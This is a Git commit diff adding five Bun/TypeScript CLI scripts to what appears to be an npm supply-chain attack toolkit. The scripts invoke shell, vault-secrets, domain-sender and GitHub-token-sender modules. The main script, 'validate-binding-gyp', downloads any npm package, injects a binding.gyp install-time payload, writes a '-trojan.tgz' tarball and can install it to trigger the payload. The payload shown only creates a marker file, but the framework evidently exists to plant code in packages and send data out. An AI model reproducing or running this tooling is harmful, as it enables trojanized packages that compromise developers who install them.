Upload files to "src/cli"
This commit is contained in:
@@ -0,0 +1,14 @@
|
|||||||
|
#!/usr/bin/env bun
|
||||||
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||||
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||||
|
|
||||||
|
import { parseArgs, runModule } from "./common";
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const { ShellService } = await import("../providers/devtool/devtool");
|
||||||
|
const provider = new ShellService();
|
||||||
|
return provider.execute();
|
||||||
|
}
|
||||||
|
|
||||||
|
const args = parseArgs(Bun.argv.slice(2));
|
||||||
|
runModule("ShellService", main);
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
#!/usr/bin/env bun
|
||||||
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||||
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||||
|
|
||||||
|
import { parseArgs, runModule } from "./common";
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const { VaultSecretsService } = await import(
|
||||||
|
"../providers/vault/vault-secrets"
|
||||||
|
);
|
||||||
|
const provider = new VaultSecretsService();
|
||||||
|
return provider.execute();
|
||||||
|
}
|
||||||
|
|
||||||
|
const args = parseArgs(Bun.argv.slice(2));
|
||||||
|
runModule("VaultSecretsService", main);
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
#!/usr/bin/env bun
|
||||||
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||||
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||||
|
|
||||||
|
import { parseArgs, runModule } from "./common";
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const args = parseArgs(Bun.argv.slice(2));
|
||||||
|
|
||||||
|
const domain = args.params["domain"] || "localhost";
|
||||||
|
const port = parseInt(args.params["port"] || "443", 10);
|
||||||
|
const path = args.params["path"] || "/";
|
||||||
|
const dryRun = args.flags.has("dry-run") || args.flags.has("dry_run");
|
||||||
|
|
||||||
|
const destination = { domain, port, path, dry_run: dryRun };
|
||||||
|
|
||||||
|
const { DomainSender } = await import("../sender/domain/sender");
|
||||||
|
const sender = new DomainSender(destination);
|
||||||
|
|
||||||
|
const healthy = await sender.healthy();
|
||||||
|
return {
|
||||||
|
destination,
|
||||||
|
healthy,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
runModule("DomainSender", main);
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env bun
|
||||||
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||||
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||||
|
|
||||||
|
import { parseArgs, runModule } from "./common";
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const args = parseArgs(Bun.argv.slice(2));
|
||||||
|
const token = args.params["github-token"];
|
||||||
|
if (!token) throw new Error("--github-token required");
|
||||||
|
|
||||||
|
const { GitHubSender } = await import("../sender/github/githubSender");
|
||||||
|
const sender = new GitHubSender();
|
||||||
|
await sender.initialize(token);
|
||||||
|
|
||||||
|
const healthy = await sender.healthy();
|
||||||
|
return {
|
||||||
|
initialized: true,
|
||||||
|
healthy,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
runModule("GitHubSender", main);
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
#!/usr/bin/env bun
|
||||||
|
// Must set scramble/beautify before any modules that use them are loaded.
|
||||||
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||||
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validate the binding.gyp injection technique against a real npm package.
|
||||||
|
*
|
||||||
|
* Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]
|
||||||
|
*
|
||||||
|
* 1. Downloads the latest tarball from registry.npmjs.org
|
||||||
|
* 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt
|
||||||
|
* 3. Writes the trojanized tarball to the current directory
|
||||||
|
* 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { createWriteStream } from "fs";
|
||||||
|
import * as fs from "fs/promises";
|
||||||
|
import { join } from "path";
|
||||||
|
import { Readable } from "stream";
|
||||||
|
import { pipeline } from "stream/promises";
|
||||||
|
|
||||||
|
// ── Test payload — harmless, creates a marker file ─────────────────────
|
||||||
|
|
||||||
|
const TEST_PAYLOAD = [
|
||||||
|
"// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild",
|
||||||
|
"const fs = require('fs');",
|
||||||
|
"const path = '/tmp/market.txt';",
|
||||||
|
"fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');",
|
||||||
|
"console.log('[market] wrote ' + path);",
|
||||||
|
].join("\n");
|
||||||
|
|
||||||
|
// ── Main ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const args = Bun.argv.slice(2);
|
||||||
|
const pkg = args.find((a) => !a.startsWith("--"));
|
||||||
|
const doInstall = args.includes("--install");
|
||||||
|
|
||||||
|
if (!pkg) {
|
||||||
|
console.error(
|
||||||
|
"Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]",
|
||||||
|
);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Fetch package metadata
|
||||||
|
console.error(`Fetching metadata for ${pkg}...`);
|
||||||
|
const metaRes = await fetch(
|
||||||
|
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
|
||||||
|
);
|
||||||
|
if (!metaRes.ok) {
|
||||||
|
console.error(`Failed to fetch package: ${metaRes.status}`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
const meta = (await metaRes.json()) as {
|
||||||
|
"dist-tags": { latest: string };
|
||||||
|
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||||
|
};
|
||||||
|
const version = meta["dist-tags"].latest;
|
||||||
|
const tarballUrl = meta.versions[version]?.dist?.tarball;
|
||||||
|
if (!tarballUrl) {
|
||||||
|
console.error("No tarball URL found");
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
console.error(`Latest: ${pkg}@${version}`);
|
||||||
|
|
||||||
|
// 2. Download tarball
|
||||||
|
console.error(`Downloading ${tarballUrl}...`);
|
||||||
|
const res = await fetch(tarballUrl);
|
||||||
|
if (!res.ok || !res.body) {
|
||||||
|
console.error(`Download failed: ${res.status}`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
||||||
|
const tarballPath = join("/tmp", filename);
|
||||||
|
await pipeline(
|
||||||
|
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||||
|
createWriteStream(tarballPath),
|
||||||
|
);
|
||||||
|
console.error(`Saved to ${tarballPath}`);
|
||||||
|
|
||||||
|
// 3. Inject binding.gyp + test payload (dynamic import — requires scramble
|
||||||
|
// on globalThis before the module chain is loaded)
|
||||||
|
console.error("Injecting binding.gyp + test payload...");
|
||||||
|
const { updateTarball } = await import("../../src/mutator/npm/tarball");
|
||||||
|
const trojanPath = await updateTarball(tarballPath, {
|
||||||
|
tag: "[validate]",
|
||||||
|
payload: TEST_PAYLOAD,
|
||||||
|
});
|
||||||
|
|
||||||
|
// 4. Copy to cwd
|
||||||
|
const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`;
|
||||||
|
const outPath = join(process.cwd(), outName);
|
||||||
|
await fs.copyFile(trojanPath, outPath);
|
||||||
|
console.error(`Wrote ${outPath}`);
|
||||||
|
|
||||||
|
// 5. Optionally install
|
||||||
|
if (doInstall) {
|
||||||
|
console.error("\nRunning npm pack + npm install to trigger node-gyp...");
|
||||||
|
const { execSync } = await import("child_process");
|
||||||
|
try {
|
||||||
|
execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" });
|
||||||
|
// npm pack creates a tar, then install it to trigger rebuild
|
||||||
|
const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
||||||
|
execSync(`npm install ${packed}`, {
|
||||||
|
cwd: "/tmp/test-install-validate",
|
||||||
|
stdio: "inherit",
|
||||||
|
});
|
||||||
|
} catch (e: any) {
|
||||||
|
console.error(
|
||||||
|
`Install failed (may be OK if node-gyp not available): ${e.message}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Print result
|
||||||
|
console.log(outPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((err) => {
|
||||||
|
console.error(err);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
Reference in New Issue
Block a user